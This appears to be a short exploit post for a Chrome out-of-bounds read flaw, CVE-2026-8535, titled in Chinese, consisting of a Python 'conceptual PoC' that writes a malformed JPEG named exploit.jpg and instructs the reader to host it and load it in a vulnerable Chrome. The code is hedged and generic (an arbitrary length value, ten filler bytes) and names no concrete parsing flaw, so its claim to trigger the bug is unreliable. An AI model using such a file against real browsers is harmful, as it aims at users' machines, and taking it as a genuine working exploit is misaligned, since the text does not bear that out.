CVE-2026-8535 Chrome越界读取漏洞

import struct # Conceptual PoC for triggering OOB Read in Chrome Media # This generates a malformed JPEG file designed to trigger the vulnerability def generate_malformed_jpeg(filename): # JPEG Start of Image (SOI) marker jpeg_data = b'\xff\xd8' # Define a malformed segment header # Marker for Comment (0xFFFE) or APPn (0xFFEn) could be used # The goal is to set a length that triggers the read logic to go out of bounds marker = b'\xff\xfe' # Length field in JPEG is 2 bytes (including the length field itself) # We set a length that might cause confusion in parsing logic # Example: A very large length or a specific offset crafted_length = struct.pack('>H', 0x0001) # Payload data - minimal to keep file size small payload = b'A' * 10 # End of Image (EOI) eoi = b'\xff\xd9' with open(filename, 'wb') as f: f.write(jpeg_data + marker + crafted_length + payload + eoi) print(f"[+] Malformed JPEG generated at: {filename}") print("[+] Host this file and attempt to load in vulnerable Chrome version.") if __name__ == "__main__": generate_malformed_jpeg('exploit.jpg')